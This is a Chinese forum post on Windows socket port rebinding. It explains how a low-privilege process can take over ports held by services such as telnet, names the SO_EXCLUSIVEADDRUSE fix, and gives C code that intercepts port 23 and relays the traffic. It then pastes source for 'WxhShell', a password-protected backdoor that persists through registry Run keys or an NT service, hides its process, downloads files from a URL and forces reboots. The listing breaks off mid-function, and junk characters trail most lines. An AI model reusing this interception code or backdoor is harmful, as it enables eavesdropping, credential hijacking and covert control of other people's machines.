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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?=fJu\;  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ml)WY#7  
q_I''L  
  saddr.sin_family = AF_INET; "%sW/ph  
#q=?Zu^Da  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); cy? EX~s4  
!!P)r1=g  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /]vg_&)=  
19lx;^b  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Dui<$jl0b  
}t-{,0  
  这意味着什么?意味着可以进行如下的攻击: uL1-@D,  
)v'DQAL  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #kxg|G[Ol  
Kj}}O2  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }F\0Bl&  
dM$]OAT  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 /*8"S mte  
"V^(i%E;  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  gjwp' GN  
.m4K ]^m  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 dvUJk<;w  
jd$lu^>I  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Iw48+krm>  
J \G8 g,@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 N7[i443a  
v/(< fI^  
  #include Dn9Ta}miTO  
  #include T3Tk:r  
  #include Q"\*JV5  
  #include    Iunt!L  
  DWORD WINAPI ClientThread(LPVOID lpParam);   gB&'MA!  
  int main() J%%nv5y  
  { 6W$k^<S  
  WORD wVersionRequested; l3.HL> o  
  DWORD ret; 2"2b\b}my  
  WSADATA wsaData; xKIm2% U9  
  BOOL val; F*(<`V  
  SOCKADDR_IN saddr; m'a3}vRV(  
  SOCKADDR_IN scaddr; o^lKM?t  
  int err; F|Ou5WD  
  SOCKET s; p>!`JU`{?  
  SOCKET sc; ;Qw>&24h[  
  int caddsize; Wb^YqqE  
  HANDLE mt; p6>3 p  
  DWORD tid;   t\'URpa+5%  
  wVersionRequested = MAKEWORD( 2, 2 ); ?-Oy/Y K  
  err = WSAStartup( wVersionRequested, &wsaData ); Xd{"+'29  
  if ( err != 0 ) { 6\ (\  
  printf("error!WSAStartup failed!\n"); ]"F0"UH,  
  return -1; ( vgoG5  
  } #IgY'L  
  saddr.sin_family = AF_INET; )5p0fw  
   qy.Mi{=~:  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 I>fEwMk~  
M$|^?U>cm  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #lF8"@)a-$  
  saddr.sin_port = htons(23); o-49o5:1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?7(`2=J  
  { m~%IHWO'  
  printf("error!socket failed!\n"); {Pdy KgM  
  return -1; )6Hc Pso6  
  } iN=-N=  
  val = TRUE; N^:)U"9*e  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 }Vk#w%EJ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) cO_En`F  
  { U%"v7G-  
  printf("error!setsockopt failed!\n"); sJMT _yt;  
  return -1; c:4 i&|n  
  } `WX @1]m  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0~)cAKus  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 YY'46  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "Q-TLN5(  
c]#F^(-A`  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) j<e`8ex?  
  { T =_Hd  
  ret=GetLastError(); ':6`M  
  printf("error!bind failed!\n"); &*A7{76x  
  return -1; 5Z1b9.;.,  
  } ]qvrpI!E!  
  listen(s,2); .kyp5CD}4  
  while(1) 'IKV%$k  
  { "0pu_  
  caddsize = sizeof(scaddr); 6|~N5E~SX  
  //接受连接请求 SfEgmp-m  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); w%KU@$  
  if(sc!=INVALID_SOCKET) @tR:}J*9s  
  { 0%#ZupN  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &O7]e3Ej  
  if(mt==NULL) p^<*v8,~7  
  { g >u{H:  
  printf("Thread Creat Failed!\n"); [y&yy|*\  
  break; aF]4%E  
  } w<*6pP y  
  } SI^!e1@M[  
  CloseHandle(mt); l'y)L@|Qrh  
  } 'MVE5  
  closesocket(s); qwoF4_VN  
  WSACleanup(); (V!:6  
  return 0; 2mRm.e9?  
  }   bM+}j+0  
  DWORD WINAPI ClientThread(LPVOID lpParam) <My4 )3  
  { |eU{cK~e^  
  SOCKET ss = (SOCKET)lpParam; |@!4BA  
  SOCKET sc; !EB<e5}8wK  
  unsigned char buf[4096]; n&y'Mb PB  
  SOCKADDR_IN saddr; >kU$bh.(  
  long num; N7=lSBm  
  DWORD val; k><k|P[|  
  DWORD ret; MZZEqsD5[  
  //如果是隐藏端口应用的话,可以在此处加一些判断 )7f;FWI  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   F-D9nI4{X  
  saddr.sin_family = AF_INET;  At3>  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `O/1aW1  
  saddr.sin_port = htons(23); RoS&oGYqR  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8Qd*OO  
  { o9*}>J<+RQ  
  printf("error!socket failed!\n"); 6QO[!^lY  
  return -1; z10J8Ms'  
  } 'I^3r~_  
  val = 100; pMndyuoJl  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) BE>^;`K  
  { # 3UrGom  
  ret = GetLastError(); 3k3-Ts  
  return -1; d< j+a1&  
  } }Vjg>"  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @{n"/6t  
  { HQGn[7JW  
  ret = GetLastError(); Rr A9@95+  
  return -1; O*jTrZ(k  
  } ( y0  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) h9-^aB$8^  
  { 5 6w6=Is  
  printf("error!socket connect failed!\n"); /u?ZwoTzY  
  closesocket(sc); v,, .2UR4  
  closesocket(ss); ,6@s N'c  
  return -1; %dn!$[D@  
  } K@U[x,Sx  
  while(1) \USl 9*E  
  { > oh7f|  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 f"9aL= 3  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 \Hb"bv  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 S*PcK>  
  num = recv(ss,buf,4096,0); q#D-}R_RN  
  if(num>0) 5NGQWg  
  send(sc,buf,num,0); X/Sp!W-H  
  else if(num==0) {+Zj}3o  
  break; ^`iqa-1  
  num = recv(sc,buf,4096,0); V?t56n Y}  
  if(num>0) i=3~ h Zl  
  send(ss,buf,num,0); c6-~PKJL  
  else if(num==0) 9 n0 ?0mk  
  break; =2XAQiUR\  
  } -,:^dxE'  
  closesocket(ss); }ZqnsLu[)  
  closesocket(sc); )?y${T   
  return 0 ; }jdMo83  
  } [Z]%jABR  
-<0xS.^  
<DR$WsDG  
========================================================== ]Xm+-{5?!R  
p ; ]Qxh  
下边附上一个代码,,WXhSHELL >uLWfk+y1  
H^ds<I<)  
========================================================== ^ruz-N^Y!  
/M2U7^9``"  
#include "stdafx.h" 3R>"X c  
/0m0""  
#include <stdio.h> >bRoQ8  
#include <string.h> `_"loPu  
#include <windows.h> WQiIS0BJ *  
#include <winsock2.h> ^tF lA)  
#include <winsvc.h> [b:0j-  
#include <urlmon.h> {e!3|&AX  
~v>3lEGn*  
#pragma comment (lib, "Ws2_32.lib") RoFoEp  
#pragma comment (lib, "urlmon.lib") .~ O- <P#  
@6"+x  
#define MAX_USER   100 // 最大客户端连接数 /$NR@56 \  
#define BUF_SOCK   200 // sock buffer HkPdqNC&  
#define KEY_BUFF   255 // 输入 buffer 9ERyr1-u v  
l~ Hu#+O  
#define REBOOT     0   // 重启 do[w&`jw8  
#define SHUTDOWN   1   // 关机 x1`4hB  
`eEiSf  
#define DEF_PORT   5000 // 监听端口 w!_6*  
X<sM4dwxE  
#define REG_LEN     16   // 注册表键长度 ~e<^jhpJ  
#define SVC_LEN     80   // NT服务名长度 {[ pzqzL6  
Bv xLbl}  
// 从dll定义API =JaxT90x  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); FJD;LpW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'ws@I?!r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); H#H[8#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]bP1gV(b-  
JA09 o(  
// wxhshell配置信息 :JXGgl<y  
struct WSCFG { Ua.%?V  
  int ws_port;         // 监听端口 Vd;N T$S$  
  char ws_passstr[REG_LEN]; // 口令 Z'~/=a)7  
  int ws_autoins;       // 安装标记, 1=yes 0=no V}h <,E9  
  char ws_regname[REG_LEN]; // 注册表键名 mrQT:B\8  
  char ws_svcname[REG_LEN]; // 服务名 ~K@p`CRbV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H0\' ,X  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 PO nF_FC  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bx%Ky0Z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no oH(a*i  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" zDf96eK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zI= 9  
S&F[\4w5]  
}; Df@b;-E  
m1D,#=C,_  
// default Wxhshell configuration 7q&T2?GEN  
struct WSCFG wscfg={DEF_PORT, )i"52!  
    "xuhuanlingzhe", G:!3X)b  
    1, uquY z_2  
    "Wxhshell", d(YAH@  
    "Wxhshell", (qw;-A W8  
            "WxhShell Service", U!jRF  
    "Wrsky Windows CmdShell Service", LJSx~)@  
    "Please Input Your Password: ", ]+5Y\~I  
  1, l0PXU)>C  
  "http://www.wrsky.com/wxhshell.exe", ,&iEn}xG7i  
  "Wxhshell.exe" q*<FfO=eQ  
    }; e$`;z%6y  
}XD=N#p@z  
// 消息定义模块 =5O&4G`}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :z`L)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; W0S\g#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XnKf<|j6k  
char *msg_ws_ext="\n\rExit."; [:/mjO K  
char *msg_ws_end="\n\rQuit."; zmg :Z p=  
char *msg_ws_boot="\n\rReboot..."; 1()pKBHf  
char *msg_ws_poff="\n\rShutdown..."; T"e"?JSRJ  
char *msg_ws_down="\n\rSave to "; +^q- v-  
'soll[J  
char *msg_ws_err="\n\rErr!"; C:_-F3|]cJ  
char *msg_ws_ok="\n\rOK!"; J ql$ g  
4}t$Lf_  
char ExeFile[MAX_PATH]; q}]z8 L  
int nUser = 0; iow"X6_l_  
HANDLE handles[MAX_USER]; Wb5n> *  
int OsIsNt; N97WI+`  
mUfANlQ:  
SERVICE_STATUS       serviceStatus; l'1_Fb  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *-3*51 jW  
'#Q\p6G&_  
// 函数声明 WtlLqD!_D  
int Install(void); &x3R+(H {  
int Uninstall(void); UW Px|]RC  
int DownloadFile(char *sURL, SOCKET wsh); zUA -  
int Boot(int flag); G%dzJpC(  
void HideProc(void); ]4Q~x  
int GetOsVer(void); # ';b>J  
int Wxhshell(SOCKET wsl); ),@m 3wQ  
void TalkWithClient(void *cs);  Cy5M0{  
int CmdShell(SOCKET sock); b2^O$ l  
int StartFromService(void); c3)6{  
int StartWxhshell(LPSTR lpCmdLine); ^3C%&  
$e%m=@ga  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); RijFN.s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); { 3Qlx/6<  
g6H`uO  
// 数据结构和表定义 brdY97s4  
SERVICE_TABLE_ENTRY DispatchTable[] = n],"!>=+  
{ @Ll^ze&HI  
{wscfg.ws_svcname, NTServiceMain}, 6n^vG/.M  
{NULL, NULL} dW%;Z  
}; E8.1jCL>{"  
o;v_vCLO  
// 自我安装 ~Efi|A/  
int Install(void) C}71SlN'M  
{ % O*)'ni  
  char svExeFile[MAX_PATH]; SpM Hq_MLM  
  HKEY key; 36d6KS 7  
  strcpy(svExeFile,ExeFile); yW;]J8 7*  
} DjbVYH  
// 如果是win9x系统,修改注册表设为自启动 .G>6_n3  
if(!OsIsNt) { } O:l]O`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wx^1lC2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U3pMv|b  
  RegCloseKey(key); ei @$_w*TH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8ZNwo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X1="1{8H  
  RegCloseKey(key); KS;Wr6]@(O  
  return 0; +2m\Sv V  
    } Cdc=1,U(  
  } w"!zLB&9[  
} R}$A>)%dx  
else { ~g&Gi)je  
|Gt]V`4  
// 如果是NT以上系统,安装为系统服务 ,Z(J;~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4x$Ts %]  
if (schSCManager!=0) \7q>4[  
{ 0T:ZWRjH  
  SC_HANDLE schService = CreateService vl5r~F  
  ( mam(h{f$  
  schSCManager, %)L|7v<  
  wscfg.ws_svcname, F"a31`L>H  
  wscfg.ws_svcdisp, mk +BeK  
  SERVICE_ALL_ACCESS, '.zr:l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !%'c$U2  
  SERVICE_AUTO_START, AA K}t6  
  SERVICE_ERROR_NORMAL, #+;0=6+SM  
  svExeFile, I z)~h>-F  
  NULL, $,jynRk7q  
  NULL, 74a>}+"  
  NULL, [4HOWM>\  
  NULL, ANd#m9(x  
  NULL _UUp+Hz  
  ); s ]Db<f  
  if (schService!=0) k^\>=JTq=  
  { tkEup&  
  CloseServiceHandle(schService); =)2!qoE  
  CloseServiceHandle(schSCManager); ea!Znld]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); P26YJMJ'  
  strcat(svExeFile,wscfg.ws_svcname); PxgLt2dXa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,8@U-7f,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *Ui>NTl  
  RegCloseKey(key); XLFo"f  
  return 0; R^GLATM  
    } H_7X%TvXb  
  } pAd SOR2  
  CloseServiceHandle(schSCManager); 3o^  oq  
} /-1 F9  
} a\v@^4   
G8F43!<  
return 1; TYgn X  
} 1ogh8%  
Z#|IMmT;*=  
// 自我卸载 M2y"M,k4  
int Uninstall(void) H3jb{S b  
{ q/t~`pH3  
  HKEY key; VK?c='zg  
fAV=O%^  
if(!OsIsNt) { 3gY4h*|`<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RLX?3u&  
  RegDeleteValue(key,wscfg.ws_regname); W\<p`xHk  
  RegCloseKey(key); u6BLhyS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wQ/FJoB  
  RegDeleteValue(key,wscfg.ws_regname); ( O/+.qb  
  RegCloseKey(key); }_o!f V  
  return 0; `K \(I#z  
  } H He~OxWg  
} @|J+ f5O  
} ZYD3[" ~x  
else { OcGHMGdn  
w1P8p>vA1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *dm?,~f%<  
if (schSCManager!=0) C6(WnO{6  
{ (eJYv: ^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -4'yC_8t  
  if (schService!=0) _J`q\N K  
  { pZe:U;bb  
  if(DeleteService(schService)!=0) { zq&,KZ  
  CloseServiceHandle(schService); 0YVkq?1x9  
  CloseServiceHandle(schSCManager); xt"GO  b  
  return 0; QH_I<Y:n  
  } 5\$8"/H  
  CloseServiceHandle(schService); p;m2RHYF  
  } }w8:`g'T0/  
  CloseServiceHandle(schSCManager); 1A b=1g{  
} edD"jq)J  
} VC@{cVT  
@AU<'?k  
return 1; ^gD%#3>X  
} 5KFd/9  
=e$6o2!'}  
// 从指定url下载文件 eb>YvC  
int DownloadFile(char *sURL, SOCKET wsh) v(2|n}qY  
{ |,Xrt8O/[  
  HRESULT hr; _o-D},f*e  
char seps[]= "/"; _oJq32  
char *token; L(i*v5?  
char *file; *R^ulp[W  
char myURL[MAX_PATH]; h_Cac@F0  
char myFILE[MAX_PATH]; G(XI TL u*  
*k#M;e  
strcpy(myURL,sURL); =+j>?Yi  
  token=strtok(myURL,seps); *PjW,   
  while(token!=NULL) Q1?G7g]N  
  { KW.QVBuVO#  
    file=token; (C EXPf  
  token=strtok(NULL,seps); 4_w+NI,;  
  } &18CCp\3)c  
__,1;=  
GetCurrentDirectory(MAX_PATH,myFILE); 1 k}U+  
strcat(myFILE, "\\"); HrZ\=1RB  
strcat(myFILE, file); #}rv)  
  send(wsh,myFILE,strlen(myFILE),0); UR&Uwa&.  
send(wsh,"...",3,0); c~+;P(>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~rX2oLw{&  
  if(hr==S_OK) a}+7MEUmZ/  
return 0; =@d IM  
else 3+2&@:$t  
return 1; n)7olP0p  
1&@s2ee4   
} 6KD  
jWd 7>1R?  
// 系统电源模块 o(I[_oUy\  
int Boot(int flag) 007SA6xq  
{ HV??B :  
  HANDLE hToken; `%x6;Ha  
  TOKEN_PRIVILEGES tkp; :+SpZ>  
8U07]=Bt<  
  if(OsIsNt) { + fQ=G/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ddMSiwbY)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r>hkm53  
    tkp.PrivilegeCount = 1; Ta38/v;S  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (f  0p   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); TB gD"i-  
if(flag==REBOOT) { OwwlQp ~!J  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) EQkv&k5X  
  return 0; \Om< FH}  
} 6uYCU|JsU  
else { z Lw=*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) VR/>V7*7@  
  return 0; J['paHSF  
} &\$l%icuo  
  } =yf LqU  
  else { %jK-}0Tu  
if(flag==REBOOT) { c D+IMlT  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Mlp[xk|  
  return 0; '[fo  
} VR>;{>~  
else { fL8+J]6A6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p*rBT,'  
  return 0; pNo<:p  
} 05\A7.iy  
} {iqH 27\E  
V=}b>Jo2j  
return 1; ;K:)R_H  
} ~h] <E  
RpE69:~PV  
// win9x进程隐藏模块  ? {Lp  
void HideProc(void) &Z_W*D  
{ 9&=~_,wJd  
'Pudy\Ab  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $-$^r;  
  if ( hKernel != NULL ) oXg KuR  
  { 32=Gq5pOc  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (63_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); FLO#!G  
    FreeLibrary(hKernel); )k0P' zGb  
  } ~O~c^fLH(B  
WlF"[mU-  
return; L{|V13?  
} m9UI3fBX  
}!\ZJoa  
// 获取操作系统版本 8 YAUy\  
int GetOsVer(void) Vt:]D?\3  
{ m<wng2`NTv  
  OSVERSIONINFO winfo; hbhh m  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _-%A_5lCRE  
  GetVersionEx(&winfo); |~bl%g8xP  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [0D( PV(n  
  return 1; pq6}q($Rk  
  else [Z484dS`_  
  return 0; s#ijpc>h  
} Z;bzp3v  
=N`"%T@=  
// 客户端句柄模块 ]&1Kz 2/  
int Wxhshell(SOCKET wsl) ;CD.8f]N  
{ cs7T AX  
  SOCKET wsh; "_JGe#=  
  struct sockaddr_in client; 15_OtK  
  DWORD myID; _PrK6M@"L  
nZa.3/7dJ  
  while(nUser<MAX_USER) z!5^UD8"W  
{ mxhO: .l  
  int nSize=sizeof(client); sn&y;Vc[$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `'[u%UE  
  if(wsh==INVALID_SOCKET) return 1; u=feR0|8  
F_=RY ]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o+SD(KVn-  
if(handles[nUser]==0) SIjdwr!+ZZ  
  closesocket(wsh); 5C/W_H+9iK  
else E)m{m$Hb  
  nUser++; * c] :,5  
  } D0tmNV@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D[m;rcl  
Ns2M8  
  return 0; >&tPIrz  
} V<AT"vU[  
3qPj+@  
// 关闭 socket GFOd9=[  
void CloseIt(SOCKET wsh) !@!,7te  
{ A^_BK(EY  
closesocket(wsh); Mf%0Cx `  
nUser--; ^!-*xH.dK  
ExitThread(0); .oYUA}  
} rIg1]q  
rG1l:Z)  
// 客户端请求句柄 F0%FX`b{{  
void TalkWithClient(void *cs) j`A%(()d  
{ s<[%7 6Y!  
(,`ypD+3q  
  SOCKET wsh=(SOCKET)cs; W XDl\*n  
  char pwd[SVC_LEN]; 9hEIf,\  
  char cmd[KEY_BUFF]; 7jT]J   
char chr[1]; XKB)++Q=  
int i,j; tT87TmNsA  
D(D:/L8T,  
  while (nUser < MAX_USER) { Rz1&(_Ps  
D\]gIXg  
if(wscfg.ws_passstr) { f n )m$\2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .v%H%z~Rl#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *SQ hXTn  
  //ZeroMemory(pwd,KEY_BUFF); ~h 6aw  
      i=0; ,F(nkbt  
  while(i<SVC_LEN) { >S3iP?V7  
9S@PY_ms  
  // 设置超时 6Yebc_, R  
  fd_set FdRead; eKNZ?!c=  
  struct timeval TimeOut; *z;4. OX  
  FD_ZERO(&FdRead); _Iy0-=G  
  FD_SET(wsh,&FdRead); Vo<V!G{  
  TimeOut.tv_sec=8; tvynl;Y/  
  TimeOut.tv_usec=0; Juj"cjob  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -l<b|`s=w.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); a:Js i=  
PI(;t9]b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "5u*C#T2$  
  pwd=chr[0]; vFL Qq,?Nh  
  if(chr[0]==0xd || chr[0]==0xa) { uyMxBc%6  
  pwd=0; )#z c$D^U  
  break; cS/\&%7u  
  } rvuskXdo  
  i++; xal+ buOiP  
    } XRCiv  
$^?"/;8P5  
  // 如果是非法用户,关闭 socket %KK6}d #  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nIJ2*QJ  
} bB@1tp0+  
6lOT5C eJ"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `P<}MeJ\l  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !`L%wS  
0Lmq?D  
while(1) { 9F)+p7VJq  
n#Xi Co_\  
  ZeroMemory(cmd,KEY_BUFF); &{NN!X  
g-"@%ps  
      // 自动支持客户端 telnet标准   x zu)``?  
  j=0; 4Tgy2[D?q  
  while(j<KEY_BUFF) { St9W{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y%y=  
  cmd[j]=chr[0]; z&[Rw<{Psb  
  if(chr[0]==0xa || chr[0]==0xd) { oBiJiPE=`  
  cmd[j]=0; A#$oY{"2Y  
  break; `"zXf-qeE  
  } GZ,`?  
  j++; m(SGE,("w  
    } ol7%$:S  
?U.+SQ  
  // 下载文件 G#-t&gO3  
  if(strstr(cmd,"http://")) { }Tf~)x  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0>Iy`>]  
  if(DownloadFile(cmd,wsh)) G vMhgG=D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t?f2*N :  
  else + X(@o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o^FlQy\  
  } :UM>`Y  
  else { d\dh"/_$  
]W39HL  
    switch(cmd[0]) { :,%~R2  
  $(B|$e^:(  
  // 帮助 xX$'u"dsA  
  case '?': { >Q#h,x~vu  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T#kPn#|  
    break; 0w9)#e+JS  
  } tIfA]pE  
  // 安装 3*x_S"h  
  case 'i': { AL@8v=  
    if(Install()) QG {KEj2V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -J*BY2LU3f  
    else 69ZGdN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (~ro_WC/I  
    break; ,Z*&QR  
    }  #v+ 2W  
  // 卸载 ^k6 A,Ak  
  case 'r': { nR'!Ui  
    if(Uninstall()) f Ne9as  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .anXsjD%W  
    else RQhS]y@e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =p~k5k4  
    break; XE8>& & X  
    } T1AD(r\W5  
  // 显示 wxhshell 所在路径 `L# pN5  
  case 'p': { KBJ%$OQV  
    char svExeFile[MAX_PATH]; 0Cd )w4C  
    strcpy(svExeFile,"\n\r"); ?e( y/  
      strcat(svExeFile,ExeFile); n4A_vz  
        send(wsh,svExeFile,strlen(svExeFile),0); shlMJa?  
    break; vpnQs#8O  
    } _wMxKM  
  // 重启 hZ@frbuowk  
  case 'b': { B!{vSBq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,9;RP/"7  
    if(Boot(REBOOT)) %;S T7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E;m]RtvH  
    else { VRden>vKN  
    closesocket(wsh); DmzK* O{  
    ExitThread(0); mY6d+  
    } -yyim;Nj  
    break; cW%QKdTQY0  
    } <&JK5$l<X  
  // 关机 \cJ?2^Eq  
  case 'd': { @GTkS!86  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +I~`Ob  
